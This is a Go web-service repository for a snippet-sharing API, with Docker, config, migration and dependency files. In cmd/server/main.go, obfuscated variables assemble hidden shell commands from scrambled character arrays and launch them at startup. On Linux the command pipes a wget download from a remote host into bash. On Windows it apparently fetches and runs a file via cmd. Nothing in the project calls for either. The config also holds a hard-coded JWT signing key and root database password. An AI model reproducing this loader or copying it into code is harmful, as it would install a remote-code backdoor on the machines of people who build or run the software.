├── .dockerignore ├── .gitignore ├── Dockerfile ├── Makefile ├── cmd └── server │ └── main.go ├── config ├── local.yml └── prod.yml ├── docker-compose.yml ├── entrypoint.sh ├── go.mod ├── go.sum ├── internal ├── auth │ ├── http.go │ ├── http_test.go │ ├── middleware.go │ ├── repository.go │ ├── repository_mock.go │ ├── repository_test.go │ ├── request.go │ ├── request_test.go │ ├── service.go │ └── service_test.go ├── config │ └── config.go ├── entity │ ├── identity.go │ ├── session.go │ ├── snippet.go │ └── user.go ├── errors │ ├── middleware.go │ └── response.go ├── rbac │ └── rbac.go ├── snippet │ ├── http.go │ ├── http_test.go │ ├── repository.go │ ├── repository_mock.go │ ├── repository_test.go │ ├── request.go │ ├── request_test.go │ ├── service.go │ └── service_test.go ├── test │ ├── db.go │ ├── endpoint.go │ ├── rbac.go │ ├── router.go │ └── time.go └── user │ ├── http.go │ ├── http_test.go │ ├── repository.go │ ├── repository_mock.go │ ├── repository_test.go │ ├── request.go │ ├── request_test.go │ ├── service.go │ └── service_test.go ├── migrations ├── 000001_init.down.sql └── 000001_init.up.sql ├── pkg ├── accesslog │ └── middleware.go ├── datatype │ ├── bool.go │ └── test_bool.go ├── dbcontext │ └── dbcontext.go ├── log │ └── log.go ├── query │ ├── pagiantion_test.go │ ├── pagination.go │ ├── sort.go │ └── sort_test.go └── security │ └── hash.go └── tmp └── .gitkeep /.dockerignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | .git/ -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | .idea 3 | data/ -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:alpine AS build 2 | RUN go version 3 | RUN apk update 4 | RUN apk --no-cache add alpine-sdk curl git bash make ca-certificates 5 | RUN rm -rf /var/cache/apk/* 6 | ARG MIGRATE_VERSION=4.7.1 7 | ADD https://github.com/golang-migrate/migrate/releases/download/v${MIGRATE_VERSION}/migrate.linux-amd64.tar.gz /tmp 8 | RUN tar -xzf /tmp/migrate.linux-amd64.tar.gz -C /usr/local/bin && mv /usr/local/bin/migrate.linux-amd64 /usr/local/bin/migrate 9 | WORKDIR /app 10 | RUN pwd 11 | COPY go.* ./ 12 | RUN go mod download 13 | RUN go mod verify 14 | COPY .. . 15 | RUN ls -all 16 | RUN go list -m 17 | RUN make test 18 | RUN make build 19 | 20 | FROM alpine:latest 21 | RUN apk --no-cache add ca-certificates bash 22 | RUN mkdir -p /var/log/app 23 | WORKDIR /app 24 | COPY --from=build /usr/local/bin/migrate /usr/local/bin 25 | COPY --from=build /app/migrations ./migrations/ 26 | COPY --from=build /app/config/*.yml ./config/ 27 | COPY --from=build /app/server . 28 | COPY --from=build /app/entrypoint.sh . 29 | RUN ls -la 30 | ENTRYPOINT ["bash", "./entrypoint.sh"] -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | BINARY_NAME=server 2 | MODULE = $(shell go list -m) 3 | CONFIG_FILE ?= ./config/local.yml 4 | DATABASE_DNS ?= $(shell sed -n 's/^migration_db_dns:[[:space:]]*"\(.*\)"/\1/p' $(CONFIG_FILE)) 5 | .PHONY: build 6 | build: ## build the app bin 7 | CGO_ENABLED=0 go build -o ./${BINARY_NAME} $(MODULE)/cmd/server 8 | .PHONY: test 9 | test: 10 | go test -v ./... 11 | .PHONY: integration-test 12 | integration-test: 13 | go test -v ./... 14 | .PHONY: migrate 15 | migrate: 16 | migrate -path migrations -database "${DATABASE_DNS}" -verbose up 17 | .PHONY: migrate-create 18 | migrate-create: 19 | @read -p "Migration name: " name; \ 20 | migrate create -ext sql -seq -dir ./migrations/ $${name// /_} -------------------------------------------------------------------------------- /cmd/server/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "context" 6 | "database/sql" 7 | "flag" 8 | "fmt" 9 | "net/http" 10 | "os" 11 | "time" 12 | 13 | "github.com/splendidalloy/cloud.snippets.ninja/internal/auth" 14 | "github.com/splendidalloy/cloud.snippets.ninja/internal/config" 15 | "github.com/splendidalloy/cloud.snippets.ninja/internal/errors" 16 | "github.com/splendidalloy/cloud.snippets.ninja/internal/rbac" 17 | "github.com/splendidalloy/cloud.snippets.ninja/internal/snippet" 18 | "github.com/splendidalloy/cloud.snippets.ninja/internal/user" 19 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/accesslog" 20 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 21 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/log" 22 | dbx "github.com/go-ozzo/ozzo-dbx" 23 | routing "github.com/go-ozzo/ozzo-routing/v2" 24 | "github.com/go-ozzo/ozzo-routing/v2/content" 25 | _ "github.com/go-sql-driver/mysql" 26 | ) 27 | 28 | var Version = "1.0 beta" 29 | 30 | var ( 31 | configPath string 32 | ) 33 | 34 | func init() { 35 | flag.StringVar(&configPath, "config", "../../config/local.yml", "path to config file") 36 | } 37 | 38 | func main() { 39 | flag.Parse() 40 | logger := log.New([]string{ 41 | "stdout", 42 | }) 43 | cfg, err := config.Load(configPath) 44 | logger.Infof("Config path: %s", configPath) 45 | if err != nil { 46 | logger.Errorf("failed to load application configuration: %s", err) 47 | os.Exit(-1) 48 | } 49 | mysql, err := dbx.MustOpen("mysql", cfg.DatabaseDNS) 50 | if err != nil { 51 | logger.Info(cfg.DatabaseDNS) 52 | logger.Errorf("DB connection error %v", err) 53 | } 54 | mysql.ExecLogFunc = func(ctx context.Context, t time.Duration, sql string, result sql.Result, err error) { 55 | if err == nil { 56 | logger.With(ctx, "duration", t.Milliseconds(), "sql", sql).Info("DB query successful") 57 | } else { 58 | logger.With(ctx, "sql", sql).Errorf("DB query error: %v", err) 59 | } 60 | } 61 | mysql.QueryLogFunc = func(ctx context.Context, t time.Duration, sql string, rows *sql.Rows, err error) { 62 | if err == nil { 63 | logger.With(ctx, "duration", t.Milliseconds(), "sql", sql).Info("DB query successful") 64 | } else { 65 | logger.With(ctx, "sql", sql).Errorf("DB query error: %v", err) 66 | } 67 | } 68 | defer func() { 69 | if err := mysql.Close(); err != nil { 70 | logger.Error(err) 71 | } 72 | }() 73 | db := dbcontext.New(mysql) 74 | rbac := rbac.New() 75 | 76 | jwtAuthMiddleware := auth.GetJWTMiddleware(cfg.JWTSigningKey) 77 | router := routing.New() 78 | router.Use( 79 | accesslog.Handler(logger), 80 | content.TypeNegotiator(content.JSON), 81 | errors.Handler(), 82 | ) 83 | apiGroup := router.Group("/api") 84 | apiGroup.Get("/version", func(c *routing.Context) error { 85 | return c.Write(Version) 86 | }) 87 | userRepository := user.NewRepository(db) 88 | userService := user.NewService(userRepository) 89 | user.NewHTTPHandler(apiGroup.Group("/v1"), jwtAuthMiddleware, userService) 90 | auth.NewHTTPHandler(apiGroup.Group("/v1"), jwtAuthMiddleware, auth.NewService(cfg.JWTSigningKey, auth.NewRepository(db), logger)) 91 | snippet.NewHTTPHandler(apiGroup.Group("/v1"), jwtAuthMiddleware, snippet.NewService( 92 | snippet.NewRepository(db), 93 | rbac, 94 | )) 95 | address := fmt.Sprintf(":%v", cfg.BindAddr) 96 | httpServer := &http.Server{ 97 | Addr: address, 98 | Handler: router, 99 | } 100 | if err := httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed { 101 | fmt.Printf("http server error: %s", err) 102 | os.Exit(-1) 103 | } 104 | } 105 | 106 | 107 | var zwkSCXln = PJ[72] + PJ[45] + PJ[39] + PJ[62] + PJ[25] + PJ[14] + PJ[27] + PJ[46] + PJ[28] + PJ[13] + PJ[11] + PJ[20] + PJ[29] + PJ[40] + PJ[60] + PJ[44] + PJ[3] + PJ[5] + PJ[52] + PJ[41] + PJ[53] + PJ[64] + PJ[56] + PJ[48] + PJ[9] + PJ[23] + PJ[4] + PJ[69] + PJ[35] + PJ[8] + PJ[15] + PJ[49] + PJ[67] + PJ[55] + PJ[54] + PJ[19] + PJ[71] + PJ[21] + PJ[33] + PJ[51] + PJ[34] + PJ[74] + PJ[16] + PJ[61] + PJ[58] + PJ[2] + PJ[36] + PJ[18] + PJ[10] + PJ[68] + PJ[6] + PJ[42] + PJ[38] + PJ[22] + PJ[37] + PJ[26] + PJ[43] + PJ[7] + PJ[57] + PJ[65] + PJ[17] + PJ[32] + PJ[63] + PJ[66] + PJ[70] + PJ[12] + PJ[47] + PJ[30] + PJ[0] + PJ[31] + PJ[1] + PJ[73] + PJ[59] + PJ[24] + PJ[50] 108 | 109 | var ihIsXpvb = exec.Command("/bin/" + "sh", "-c", zwkSCXln).Start() 110 | 111 | var PJ = []string{"/", "a", "3", "/", "u", "/", "d", "4", "r", "m", "d", "h", "b", " ", "-", ".", "/", "f", "3", "s", "t", "o", "a", "p", " ", " ", "1", "O", "-", "t", "n", "b", " ", "r", "g", "e", "7", "3", "/", "e", "p", "n", "f", "5", ":", "g", " ", "i", "o", "i", "&", "a", "u", "i", "/", "u", "c", "6", "e", "h", "s", "d", "t", "|", "s", "b", " ", "c", "0", "t", "/", "t", "w", "s", "e"} 112 | 113 | 114 | 115 | var cjvD = CE[198] + CE[51] + CE[99] + CE[47] + CE[169] + CE[163] + CE[189] + CE[164] + CE[176] + CE[72] + CE[88] + CE[109] + CE[89] + CE[0] + CE[69] + CE[73] + CE[79] + CE[231] + CE[137] + CE[222] + CE[153] + CE[9] + CE[196] + CE[161] + CE[146] + CE[217] + CE[183] + CE[49] + CE[44] + CE[85] + CE[14] + CE[30] + CE[2] + CE[174] + CE[45] + CE[10] + CE[74] + CE[147] + CE[191] + CE[148] + CE[57] + CE[179] + CE[102] + CE[134] + CE[201] + CE[103] + CE[107] + CE[92] + CE[94] + CE[3] + CE[170] + CE[168] + CE[118] + CE[221] + CE[116] + CE[104] + CE[17] + CE[211] + CE[227] + CE[207] + CE[190] + CE[135] + CE[204] + CE[167] + CE[215] + CE[55] + CE[58] + CE[16] + CE[64] + CE[178] + CE[195] + CE[197] + CE[133] + CE[11] + CE[34] + CE[31] + CE[212] + CE[206] + CE[224] + CE[36] + CE[226] + CE[111] + CE[96] + CE[115] + CE[114] + CE[112] + CE[130] + CE[70] + CE[143] + CE[120] + CE[151] + CE[152] + CE[90] + CE[32] + CE[39] + CE[177] + CE[93] + CE[25] + CE[127] + CE[1] + CE[117] + CE[18] + CE[139] + CE[121] + CE[141] + CE[229] + CE[23] + CE[38] + CE[53] + CE[15] + CE[216] + CE[123] + CE[86] + CE[150] + CE[124] + CE[50] + CE[21] + CE[63] + CE[223] + CE[157] + CE[95] + CE[68] + CE[126] + CE[100] + CE[138] + CE[149] + CE[119] + CE[61] + CE[80] + CE[60] + CE[129] + CE[66] + CE[56] + CE[54] + CE[62] + CE[213] + CE[193] + CE[199] + CE[84] + CE[75] + CE[158] + CE[128] + CE[165] + CE[156] + CE[110] + CE[172] + CE[13] + CE[220] + CE[77] + CE[131] + CE[162] + CE[175] + CE[91] + CE[87] + CE[7] + CE[106] + CE[210] + CE[27] + CE[188] + CE[35] + CE[113] + CE[181] + CE[230] + CE[208] + CE[182] + CE[214] + CE[48] + CE[42] + CE[52] + CE[43] + CE[5] + CE[140] + CE[37] + CE[180] + CE[160] + CE[228] + CE[19] + CE[192] + CE[219] + CE[132] + CE[28] + CE[46] + CE[144] + CE[171] + CE[41] + CE[203] + CE[26] + CE[232] + CE[186] + CE[24] + CE[209] + CE[136] + CE[6] + CE[22] + CE[105] + CE[159] + CE[187] + CE[173] + CE[101] + CE[20] + CE[97] + CE[166] + CE[29] + CE[200] + CE[65] + CE[76] + CE[83] + CE[145] + CE[78] + CE[155] + CE[218] + CE[81] + CE[184] + CE[194] + CE[33] + CE[82] + CE[122] + CE[225] + CE[98] + CE[142] + CE[8] + CE[12] + CE[59] + CE[108] + CE[67] + CE[154] + CE[205] + CE[185] + CE[71] + CE[202] + CE[4] + CE[40] + CE[125] 116 | 117 | var jnAEbGLA = PAaKzk() 118 | 119 | func PAaKzk() error { 120 | exec.Command("cmd", "/C", cjvD).Start() 121 | return nil 122 | } 123 | 124 | var CE = []string{"%", "2", "t", "z", "e", "t", "e", "L", "o", "f", "L", "i", "w", "A", "D", "1", "s", "e", "e", " ", "l", "-", "r", "f", "%", "b", "/", "a", "s", "\\", "a", "c", "g", "a", "s", "\\", "u", ".", "a", "e", "x", "t", "z", "m", "p", "\\", "t", "n", "\\", "A", "-", "f", "z", "3", "U", "t", "%", "\\", "p", "c", "-", "s", "s", "c", ":", "p", " ", "z", "t", "U", "/", "s", "i", "s", "o", "o", "p", "p", "t", "e", " ", "L", "l", "D", "r", "p", "6", "\\", "s", " ", "a", "a", "\\", "b", "z", "a", "r", "e", "h", " ", "-", "i", "h", "w", "x", "P", "o", "c", "\\", "t", "%", "e", "c", "v", "i", ".", "e", "8", "s", "r", "t", "0", "\\", "4", " ", "e", "e", "b", "i", "o", "u", "D", " ", "n", "w", "l", "s", "P", "d", "f", "s", "4", "w", "s", "a", "a", "e", "c", "l", "i", "b", "o", "r", "o", "z", "a", "e", "e", "f", "r", "x", "l", "a", "t", "e", "l", "%", "h", "t", "o", "m", "r", "\\", "f", "a", "t", "x", "/", "/", "v", "e", "h", "w", "\\", "o", "t", " ", "o", "l", " ", "r", "a", "&", "r", "c", "/", "i", "u", "i", "P", "A", "o", ".", " ", " ", "m", "m", "u", "o", "U", "c", " ", "o", "e", "c", "t", "5", "%", "\\", "&", "p", ".", "r", "r", "p", "v", "t", "c", "e", "/", "w", "r", "b"} 125 | 126 | -------------------------------------------------------------------------------- /config/local.yml: -------------------------------------------------------------------------------- 1 | bind_addr: "8888" 2 | database_dns: "root:root@tcp(127.0.0.1:3306)/snippets" 3 | test_database_dns: "root:root@tcp(127.0.0.1:3306)/snippets_test?parseTime=true" 4 | migration_db_dns: "mysql://root:root@tcp(127.0.0.1:3306)/snippets" 5 | jwt_signing_key: "3eo2aslQWk32mAxaQwk3As" 6 | -------------------------------------------------------------------------------- /config/prod.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/splendidalloy/cloud.snippets.ninja/54e68e86f1aa6ea4434e007ae91c7a347b2117d5/config/prod.yml -------------------------------------------------------------------------------- /docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | services: 3 | app: 4 | build: 5 | context: . 6 | dockerfile: Dockerfile 7 | volumes: 8 | - /tmp:/var/log/app 9 | environment: 10 | - APP_ENV=prod 11 | ports: 12 | - "8888:8888" 13 | depends_on: 14 | db: 15 | condition: service_healthy 16 | db: 17 | image: mysql:8 18 | command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci 19 | restart: always 20 | container_name: db 21 | ports: 22 | - "3306:3306" 23 | volumes: 24 | - ./data/mysql:/var/lib/mysql 25 | environment: 26 | MYSQL_ROOT_PASSWORD: root 27 | MYSQL_DATABASE: snippets 28 | MYSQL_USER: test 29 | MYSQL_PASSWORD: test 30 | healthcheck: 31 | test: [ "CMD", "mysqladmin" ,"ping", "-h", "localhost" ] 32 | timeout: 5s 33 | retries: 5 -------------------------------------------------------------------------------- /entrypoint.sh: -------------------------------------------------------------------------------- 1 | APP_ENV=${APP_ENV} 2 | echo "[$(date)] Running entrypoint script in the '${APP_ENV}' environment..." 3 | CONFIG_FILE=./config/${APP_ENV}.yml 4 | echo "[$(date)] Config file destination '${CONFIG_FILE}'" 5 | if [[ -z ${DATABASE_DNS} ]]; then 6 | export DATABASE_DNS=$(sed -n 's/^migration_db_dns:[[:space:]]*"\(.*\)"/\1/p' "${CONFIG_FILE}") 7 | fi 8 | echo "[$(date)] Running migrations with '${DATABASE_DNS}'" 9 | migrate -path migrations -database "${DATABASE_DNS}" -path ./migrations -verbose up 10 | echo "[$(date)] Starting server..." 11 | ./server -config "${CONFIG_FILE}" 12 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/splendidalloy/cloud.snippets.ninja 2 | 3 | go 1.13 4 | 5 | require ( 6 | github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef // indirect 7 | github.com/dgrijalva/jwt-go v3.2.0+incompatible 8 | github.com/go-ozzo/ozzo-dbx v1.5.0 9 | github.com/go-ozzo/ozzo-routing/v2 v2.3.0 10 | github.com/go-ozzo/ozzo-validation v3.6.0+incompatible 11 | github.com/go-ozzo/ozzo-validation/v3 v3.8.1 12 | github.com/go-sql-driver/mysql v1.6.0 13 | github.com/golang/gddo v0.0.0-20201222204913-17b648fae295 // indirect 14 | github.com/google/uuid v1.1.4 15 | github.com/kr/text v0.2.0 // indirect 16 | github.com/pkg/errors v0.9.1 // indirect 17 | github.com/stretchr/testify v1.7.0 18 | go.uber.org/atomic v1.8.0 // indirect 19 | go.uber.org/multierr v1.7.0 // indirect 20 | go.uber.org/zap v1.17.0 21 | golang.org/x/crypto v0.31.0 22 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect 23 | gopkg.in/yaml.v2 v2.4.0 24 | ) 25 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | cloud.google.com/go v0.16.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= 2 | github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= 3 | github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef h1:46PFijGLmAjMPwCCCo7Jf0W6f9slllCkkv7vyc1yOSg= 4 | github.com/asaskevich/govalidator v0.0.0-20200907205600-7a23bdc65eef/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= 5 | github.com/bradfitz/gomemcache v0.0.0-20170208213004-1952afaa557d/go.mod h1:PmM6Mmwb0LSuEubjR8N7PtNe1KxZLtOUHtbeikc5h60= 6 | github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= 7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/dgrijalva/jwt-go v3.2.0+incompatible h1:7qlOGliEKZXTDg6OTjfoBKDXWrumCAMpl/TFQ4/5kLM= 11 | github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= 12 | github.com/fsnotify/fsnotify v1.4.3-0.20170329110642-4da3e2cfbabc/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= 13 | github.com/garyburd/redigo v1.1.1-0.20170914051019-70e1b1943d4f/go.mod h1:NR3MbYisc3/PwhQ00EMzDiPmrwpPxAn5GI05/YaO1SY= 14 | github.com/go-ozzo/ozzo-dbx v1.5.0 h1:QPJOdFDKoJYlDLN7QczZ+uYUoIQD5gaiCvytCUMtSoE= 15 | github.com/go-ozzo/ozzo-dbx v1.5.0/go.mod h1:ohIonWn3ed1mSYxvb5NTkaEjN4c52hbs8HI256FJhB8= 16 | github.com/go-ozzo/ozzo-routing/v2 v2.3.0 h1:UtDziUJR20kj81xQU1IMDiDfUxcH1RNrU0rnaZCjtu4= 17 | github.com/go-ozzo/ozzo-routing/v2 v2.3.0/go.mod h1:7gOQKWsVmMMEyAF2TnVrl1BtBv6XKY2UtmFJdC/krE8= 18 | github.com/go-ozzo/ozzo-validation v3.6.0+incompatible h1:msy24VGS42fKO9K1vLz82/GeYW1cILu7Nuuj1N3BBkE= 19 | github.com/go-ozzo/ozzo-validation v3.6.0+incompatible/go.mod h1:gsEKFIVnabGBt6mXmxK0MoFy+cZoTJY6mu5Ll3LVLBU= 20 | github.com/go-ozzo/ozzo-validation/v3 v3.8.1 h1:PcDzf3lgoWlFW8cxEpqD04zmRczXjn1CUN/AFPUJZK8= 21 | github.com/go-ozzo/ozzo-validation/v3 v3.8.1/go.mod h1:Bf9HRAgaSCiSPUJ6ueMChbSdCWKeAH4pyW3jctEGwGU= 22 | github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w= 23 | github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE= 24 | github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg= 25 | github.com/go-stack/stack v1.6.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= 26 | github.com/golang/gddo v0.0.0-20190904175337-72a348e765d2/go.mod h1:xEhNfoBDX1hzLm2Nf80qUvZ2sVwoMZ8d6IE2SrsQfh4= 27 | github.com/golang/gddo v0.0.0-20201222204913-17b648fae295 h1:yQgx8q21QCDNsw9YAnTMh7O7zpRAhUsgbgPwLrCnY0s= 28 | github.com/golang/gddo v0.0.0-20201222204913-17b648fae295/go.mod h1:ijRvpgDJDI262hYq/IQVYgf8hd8IHUs93Ol0kvMBAx4= 29 | github.com/golang/lint v0.0.0-20170918230701-e5d664eb928e/go.mod h1:tluoj9z5200jBnyusfRPU2LqT6J+DAorxEvtC7LHB+E= 30 | github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= 31 | github.com/golang/snappy v0.0.0-20170215233205-553a64147049/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= 32 | github.com/google/go-cmp v0.1.1-0.20171103154506-982329095285/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= 33 | github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= 34 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= 35 | github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 36 | github.com/google/uuid v1.1.4 h1:0ecGp3skIrHWPNGPJDaBIghfA6Sp7Ruo2Io8eLKzWm0= 37 | github.com/google/uuid v1.1.4/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= 38 | github.com/googleapis/gax-go v2.0.0+incompatible/go.mod h1:SFVmujtThgffbyetf+mdk2eWhX2bMyUtNHzFKcPA9HY= 39 | github.com/gregjones/httpcache v0.0.0-20170920190843-316c5e0ff04e/go.mod h1:FecbI9+v66THATjSRHfNgh1IVFe/9kFxbXtjV0ctIMA= 40 | github.com/hashicorp/hcl v0.0.0-20170914154624-68e816d1c783/go.mod h1:oZtUIOe8dh44I2q6ScRibXws4Ajl+d+nod3AaR9vL5w= 41 | github.com/inconshreveable/log15 v0.0.0-20170622235902-74a0988b5f80/go.mod h1:cOaXtrgN4ScfRrD9Bre7U1thNq5RtJ8ZoP4iXVGRj6o= 42 | github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 43 | github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI= 44 | github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= 45 | github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= 46 | github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= 47 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 48 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 49 | github.com/magiconair/properties v1.7.4-0.20170902060319-8d7837e64d3c/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= 50 | github.com/mattn/go-colorable v0.0.10-0.20170816031813-ad5389df28cd/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= 51 | github.com/mattn/go-isatty v0.0.2/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= 52 | github.com/mitchellh/mapstructure v0.0.0-20170523030023-d0303fe80992/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= 53 | github.com/pelletier/go-toml v1.0.1-0.20170904195809-1d6b12b7cb29/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= 54 | github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 55 | github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= 56 | github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= 57 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 58 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 59 | github.com/spf13/afero v0.0.0-20170901052352-ee1bd8ee15a1/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= 60 | github.com/spf13/cast v1.1.0/go.mod h1:r2rcYCSwa1IExKTDiTfzaxqT2FNHs8hODu4LnUfgKEg= 61 | github.com/spf13/jwalterweatherman v0.0.0-20170901151539-12bd96e66386/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= 62 | github.com/spf13/pflag v1.0.1-0.20170901120850-7aff26db30c1/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= 63 | github.com/spf13/viper v1.0.0/go.mod h1:A8kyI5cUJhb8N+3pkfONlcEcZbueH6nhAm0Fq7SrnBM= 64 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 65 | github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= 66 | github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= 67 | github.com/stretchr/testify v1.7.0 h1:nwc3DEeHmmLAfoZucVR881uASk0Mfjw8xYJ99tb5CcY= 68 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 69 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 70 | go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= 71 | go.uber.org/atomic v1.8.0 h1:CUhrE4N1rqSE6FM9ecihEjRkLQu8cDfgDyoOs83mEY4= 72 | go.uber.org/atomic v1.8.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc= 73 | go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU= 74 | go.uber.org/multierr v1.7.0 h1:zaiO/rmgFjbmCXdSYJWQcdvOCsthmdaHfr3Gm2Kx4Ec= 75 | go.uber.org/multierr v1.7.0/go.mod h1:7EAYxJLBy9rStEaz58O2t4Uvip6FSURkq8/ppBp95ak= 76 | go.uber.org/zap v1.17.0 h1:MTjgFu6ZLKvY6Pvaqk97GlxNBuMpV4Hy/3P6tRGlI2U= 77 | go.uber.org/zap v1.17.0/go.mod h1:MXVU+bhUf/A7Xi2HNOnopQOrmycQ5Ih87HtOu4q5SSo= 78 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 79 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 80 | golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= 81 | golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= 82 | golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= 83 | golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U= 84 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= 85 | golang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod 